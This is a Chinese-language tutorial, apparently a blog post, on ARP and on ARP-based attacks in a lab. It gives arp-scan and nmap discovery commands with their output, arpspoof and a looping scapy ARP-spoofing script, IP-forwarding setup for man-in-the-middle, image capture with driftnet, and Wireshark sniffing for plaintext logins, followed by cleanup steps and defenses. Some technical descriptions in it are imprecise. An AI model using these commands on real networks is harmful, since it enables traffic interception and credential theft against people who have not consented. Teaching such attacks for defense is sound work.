0x01 什么是ARP

地址解析协议——ARP;是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

0x02 交换机数据转发原理

交换机收到数据帧的时候,先解封装数据链路层,查看这一层的源MAC地址,并且关联自己接收数据的这个接口,把关联MAC地址和接口的信息更新到MAC地址表里面查看这一层的目标MAC地址,然后查询MAC地址表,根据目标MAC对应的接口将这个数据转发出去 如果这个时候,MAC地址表是空的/丢弃?广播-将这个数据帧进行复制,然后向各个接口转发出去

0x03 探测局域网中存活主机
3.1 执行扫描
3.2.1 arp-san扫描
主网络接口的信息扫描本地
arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40   2c:fe:4f:a8:52:a8       (Unknown)
192.168.47.183  e0:d0:45:66:a7:b5       Intel Corporate
192.168.47.241  00:0c:29:97:a9:7c       VMware, Inc.
​
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.229 seconds (114.85 hosts/sec). 3 responded
​
扫描子网指定要使用的接口和自定义源MAC地址
arp-scan -I eth0 --srcaddr=mac地址 192.168.47.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40   2c:fe:4f:a8:52:a8       (Unknown)
192.168.47.183       mac                Intel Corporate
192.168.47.241  00:0c:29:97:a9:7c       VMware, Inc.
​
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.234 seconds (114.59 hosts/sec). 3 responded
​
3.2.2 namp扫描
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
-sU: 表示执行UDP扫描。
--script nbstat.nse: 指定运行名为 nbstat.nse 的Lua脚本。这个脚本通常用于获取目标主机的NetBIOS信息。
-p137: 扫描端口137。这个端口通常用于NetBIOS名称服务。
192.168.1.0/24: 指定要扫描的目标IP地址范围,这里是192.168.1.0网段下的所有主机。
-T4: 设置扫描技术为“狂野”模式,这会让扫描速度更快但可能会触发更多的IDS/IPS报警。
​
特别针对ARP协议来探测局域网内哪些主机是活跃的使用 -PR 参数发送ARP请求:
nmap -sn -PR 192.168.1.0/24
-PR: 使用ARP ping(仅限于本地网络)。
ARP请求只能在同一物理网络(广播域)中使用,因此它不能穿越路由器。如果你需要跨网段探测主机,你需要使用其他方法

扫描结果

nmap -sU --script nbstat.nse -p137 192.168..0/24 -T4
​
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 04:06 EDT
Nmap scan report for 192.168.47.40
Host is up (0.0042s latency).
​
PORT    STATE  SERVICE
137/udp closed netbios-ns
MAC Address: 2C:FE:4F:A8:52:A8 (Unknown)
​
Nmap scan report for 192.168.47.183
Host is up (0.00053s latency).
​
PORT    STATE         SERVICE
137/udp open|filtered netbios-ns
MAC Address: E0:D0:45:66:A7:B5 (Intel Corporate)
​
Nmap scan report for 192.168.47.241
Host is up (0.0014s latency).
​
PORT    STATE SERVICE
137/udp open  netbios-ns
MAC Address: 00:0C:29:97:A9:7C (VMware)
​
Host script results:
| nbstat: NetBIOS name: WIN-SJDPHJOO12L, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:97:a9:7c (VMware)
| Names:
|   WIN-SJDPHJOO12L<00>  Flags: <unique><active>
|   WIN-SJDPHJOO12L<20>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
​
Nmap scan report for 192.168.47.203
Host is up (0.000064s latency).
​
PORT    STATE  SERVICE
137/udp closed netbios-ns
​
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.01 seconds

3.2.3 ettercap探测
ettercap -G 启动图形化界面
3.2得到存活主机
192.168.47.183
192.168.47.241
192.168.47.203
0x04:常见ARP攻击类型
4.1arp泛洪攻击

搭建实验网络

  1. 在攻击机和目标机之间建立网络连接,确保它们在同一个子网中。

  2. 确保交换机或虚拟交换机工作正常。

获取网络信息

  1. 在攻击机上使用ifconfigip a命令查看自己的IP和MAC地址。

  2. 使用arp -a命令查看当前ARP缓存中的内容。

使用ARP泛洪工具

1. 使用arpspoof工具:

安装工具(如果未安装):

sudo apt-get install dsniff

执行ARP泛洪命令:

sudo arpspoof -i eth0 -t <目标IP> <网关IP>

-i eth0:指定网卡接口。

-t <目标IP>:目标主机的IP地址。

<网关IP>:网关的IP地址。

此命令将向目标主机发送大量的伪造ARP应答包,导致ARP缓存中毒。

2. 使用scapy脚本:

创建一个简单的ARP泛洪脚本:

pythonCopy codefrom scapy.all import *
​
def flood_arp(target_ip, gateway_ip):
    packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
    while True:
        send(packet, verbose=False)
​
target_ip = "目标IP地址"
gateway_ip = "网关IP地址"
​
flood_arp(target_ip, gateway_ip)

执行脚本,将目标IP和网关IP替换为实验中的实际地址。

4.2 ARP欺骗(中间人攻击)

地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

4.2.1 主机欺骗

欺骗主机可以获取主机的流量,并且对其监控

攻击:kali(aprapoof)

靶机:win7

先看一下靶机和网关的mac地址

测试网络连通性

接下来利用arpspoof工具,对主机A进行ARP欺骗攻击,从而靶机会造成断网现象。

arpspoof -i eth1 -t 192.168.196.141 192.168.196.2

靶机上查看ARP表,网关对应的MAC地址变成kali的MAC地址

ARP欺骗的主要目的是让目标主机靶机的流量先经过攻击主机kali的网卡,再从网关出去,而网关也会把原本流入目标靶机的流量经过攻击主机kali。在进行ARP欺骗之前,我们要先开启攻击主机kali的IP转发功能,如果不开启的话,我们攻击之后先会使目标靶机断网,而不是欺骗。通过以下命令开启并开始进行ARP欺骗攻击。

启用端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward

此时在攻击主机kali上就可以利用图片嗅探工具driftnet来捕获目标靶机在上网过程中查看的图片。因为靶机在上网过程中的流量都需要先经过攻击主机kali。

eth0监听:

driftnet -i eth0

读取指定pcap数据包:

driftnet -f /home/tmp/tmp.pcapng -a -d /tmp/

还原靶机正常的网关

arp -d
清楚缓存重新自动获取mac
4.2.2 网关欺骗

欺骗网关可以获得其他主机的流量

启动端口转发

临时端口转发

sysctl -w net.ipv4.ip_forward=1
或者
echo 1 > /proc/sys/net/ipv4/ip_forward

永久端口转发

编辑/etc/sysctl.conf文件:
sudo nano /etc/sysctl.conf

找到并修改或添加以下行:
net.ipv4.ip_forward = 1
保存并退出编辑器,然后应用更改:
sudo sysctl -p

验证IP转发是否启用

验证设置是否生效:

sysctl net.ipv4.ip_forward

输出为 net.ipv4.ip_forward = 1 表示IP转发已启用。

# 第一条命令欺骗网关
 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10

 # 第二条命令欺骗受害者
 arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

在攻击者机器上使用Wireshark捕获网络流量,以验证受害者和网关之间的通信是否被成功拦截。

打开Wireshark,选择攻击者的网络接口(如eth0)。

设置过滤器,ip.addr == ip

开始捕获,并检查是否可以看到受害者和网关之间的通信。

分析敏感数据,如明文HTTP流量或未加密的登录信息。

4.3 拒绝服务攻击

拒绝服务攻击是一种攻击类型,其中一个或多个受害者无法访问网络。借助ARP欺骗,单个目标受害者的MAC地址被链接到多个IP地址。因此,所有流量都会转向目标受害者的MAC地址,导致目标受害者的网络因流量过载而瘫痪。(DOS)

4.4 ARP重放攻击:

攻击者捕获网络中的ARP响应包,并将其重新发送出去,以此来欺骗其他计算机,使其认为攻击者的MAC地址是合法的,从而将数据发送到错误的MAC地址。

实验结束后,通过停止ARP欺骗和刷新ARP缓存来恢复网络状态。

0x05 恢复网络状态

停止 arpspoof 进程:

pkill arpspoof

刷新攻击者和受害者机器上的ARP缓存:

  • 在Linux上:

    ip -s -s neigh flush all
  • 在Windows上:

    arp -d *
0x06 安全防护措施
6.1 静态ARP表

在关键设备上设置静态ARP表,防止ARP缓存被篡改。

6.2 ARP检测工具

使用ARP防护软件或启用交换机的ARP检测功能来监控异常ARP行为。

6.3 加密通信

使用HTTPS、VPN等方式加密通信,防止流量被篡改或窃听。

6.4 定期监控和分析网络流量

使用网络监控工具(如Wireshark、Zeek、Snort)定期检查网络流量,检测异常的ARP请求和响应。

设置ARP流量的监控报警,提示不一致的IP-MAC绑定情况。

分析网络流量图表,检测可疑的重复ARP广播。

6.5 安装ARP防护软件

使用ARP防护工具,如ARPWatch、XArp,主动监控网络中的ARP活动,检测和报警ARP欺骗行为。

操作:安装后可设置报警规则和防护模式,根据需求自动阻止可疑ARP流量。

6.6 隔离网络(VLAN)

通过划分虚拟局域网(VLAN),将网络设备隔离在不同的广播域,限制ARP欺骗影响的范围。

  • 优点:减少ARP欺骗攻击的传播路径,提高整体网络安全性。

  • 实施

    • 将用户、服务器和管理设备分配到不同的VLAN。

    • 配合ACL(访问控制列表)进一步限制通信。

6.7 使用IPv6

IPv6协议相比IPv4有更强的内置安全机制,如Neighbor Discovery Protocol(NDP)代替ARP,减少ARP欺骗攻击的可能性。

  • 限制:需要所有设备支持IPv6,可能涉及复杂的网络升级。

6.8 端口安全与MAC地址绑定

在交换机上配置端口安全性(Port Security),绑定特定端口的MAC地址,拒绝非授权设备的接入。

  • 配置方法:在交换机上设置端口的静态MAC地址绑定或使用动态学习功能限制接入。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐